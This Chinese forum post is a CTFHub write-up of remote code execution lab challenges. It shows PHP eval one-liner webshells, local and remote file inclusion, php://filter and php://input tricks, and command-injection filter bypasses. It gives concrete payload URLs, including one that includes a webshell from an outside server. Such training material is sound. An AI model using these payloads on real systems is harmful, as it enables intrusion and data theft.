Web安全基础 - RCE CTFHub

打印 上一主题 下一主题

主题 832|帖子 832|积分 2496

Web安全基础 - RCE CTFhub

题目来自CTFHub,Web方向技能树Rce部分https://www.ctfhub.com/#/skilltree
基本介绍

远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码。
为了实现特定效果,后台有时候也会把用户的输入作为代码的一部分进行执行,服务器没有针对执行函数做过滤就执行命令时就会产生该漏洞。
php可能产生RCE的常见函数:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
eval执行
  1. [/code]$_REQUEST既可以接收get参数,又可以接受post参数。
  2. eval函数可以执行php代码,直接写一句话木马
  3. http://challenge-8f3b358611f6002d.sandbox.ctfhub.com:10800/?cmd=$_POST[%22cmd%22]
  4. [img]https://img2022.cnblogs.com/blog/2860856/202211/2860856-20221127032901244-2047891416.png[/img]
  5. doughnuts连接成功
  6. 在目录简单找一下就能发现flag,一般都在根目录
  7. [img]https://img2022.cnblogs.com/blog/2860856/202211/2860856-20221127033022053-415723359.png[/img]
  8. [size=5]文件包含[/size]
  9. [code]<?php
  10. error_reporting(0);
  11. if (isset($_GET['file'])) {
  12.     if (!strpos($_GET["file"], "flag")) {
  13.         include $_GET["file"];
  14.     } else {
  15.         echo "Hacker!!!";
  16.     }
  17. } else {
  18.     highlight_file(__FILE__);
  19. }
  20. ?>
  21. i have a <a target="_blank" href="https://www.cnblogs.com/shell.txt">shell</a>, how to use it ?
  22. i have a shell, how to use it ?
复制代码
题目给出了shell.txt,不用再写一句话木马了,我们包含一下。

根目录下cat flagctfhub{4b4829e63f7df5d8916a07a9}
php://input

php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。
  1. <?php
  2. if (isset($_GET['file'])) {
  3.     if ( substr($_GET["file"], 0, 6) === "php://" ) {
  4.         include($_GET["file"]);
  5.     } else {
  6.         echo "Hacker!!!";
  7.     }
  8. } else {
  9.     highlight_file(__FILE__);
  10. }
  11. ?>
  12. <hr>
  13. i don't have shell, how to get flag? <br>
  14. <a target="_blank" href="https://www.cnblogs.com/phpinfo.php">phpinfo</a>
  15. i don't have shell, how to get flag?
  16. phpinfo
复制代码
可以发现这里的phpinfo其实是include包含的内容。
在hackbar内直接POST无法得到命令执行的结果,使用BurpSuite可以,不知为何。
这里使用HackBar进行post请求,在BurpSuite内添加
重复上述,添加上

读取源代码
  1. <?php
  2. error_reporting(E_ALL);
  3. if (isset($_GET['file'])) {
  4.     if ( substr($_GET["file"], 0, 6) === "php://" ) {
  5.         include($_GET["file"]);
  6.     } else {
  7.         echo "Hacker!!!";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);
  11. }
  12. ?>
  13. <hr>
  14. i don't have shell, how to get flag? <br>
  15. flag in /flag
  16. i don't have shell, how to get flag?
  17. flag in /flag
复制代码
这两道题目其实是考察了php伪协议的知识点,具体可以参考https://segmentfault.com/a/1190000018991087
在CTF中,我们经常通过php://filter来读取源码,php://input来执行php代码。

payload:http://challenge-472c4ff336f650c4.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

远程包含
  1. <?php
  2. error_reporting(0);
  3. if (isset($_GET['file'])) {
  4.     if (!strpos($_GET["file"], "flag")) {
  5.         include $_GET["file"];
  6.     } else {
  7.         echo "Hacker!!!";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);
  11. }
  12. ?>
  13. <hr>
  14. i don't have shell, how to get flag?<br>
  15. <a target="_blank" href="https://www.cnblogs.com/phpinfo.php">phpinfo</a>
  16. i don't have shell, how to get flag?
  17. phpinfo
复制代码
和文件包含那道题类似,但是这里没有给我们直接可以执行的webshell,因为是RFI,所以我们向另一个服务器上上传再构造payload即可。
http://challenge-a05e7408f6523c66.sandbox.ctfhub.com:10800/?file=http:/xxx:81/upload/eval.php
命令注入

无过滤注入
我们使用;或者|运算符,ls确定文件;ls -l然后;cat 245262950117066.php|base64
这里直接cat没有回显,推测是输出被浏览器解释为注释,转换为base64发现回显,或者用F12查看页面源码也可以发现回显(快做完了才发现
解密后得到
过滤cat

思路和上一题一样,先看有没有文件
  1. (!preg_match_all("/cat/", $ip, $m))
复制代码
这里只过滤了cat,我们还有很多其他指令可以达到类似效果head,tail,more,less,tac,sed,vi,vim,grep,od,sort,uniq,file -f,nl
payload:|head flag_xxx.php |base64
ctfhub{92f1d0742dee48139e82b483}
过滤空格

空格过滤可以使用linux下的$IFS$9来代替
<blockquote>常见的空格绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符、 PD9waHAgLy8gY3RmaHViezFiYTJhMDFhMGIwNmZlZGFiNzZkNmY4Nn0K
)
ctfhub{1ba2a01a0b06fedab76d6f86}
过滤运算符

过滤了(||&)几种运算符
不使用管道运算符接口
payload:
1 : ;ls 2 : ;base64 flag_140863035031052.php > a 3 : ;cat a
综合过滤练习

过滤了(||&|;| |/|cat|flag|ctfhub)
利用linux下一类少见的命令分隔符:%0a、%0d、%0D%0A,其实也就是回车和换行来分割ping。
字符串的过滤可以利用十六进制编码或者\和'等符号来绕过
这道题直接在输入框里面输入的话%会被url编码为%25,所以直接构造url即可。
http://challenge-e6c4aa017ced01ae.sandbox.ctfhub.com:10800/?ip=%0Acd$IFS$9f\lag_is_here%0Abase64$IFS$9fl\ag_211411285528280.php%3Ea

总结

总的来说这套题目相对简单,没有很偏很怪的考点但是也不是特别全面,比如https://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/"这篇里的内容很多就没有考察到(
还是要做更多题才能让自己的知识体系更全面。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

圆咕噜咕噜

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表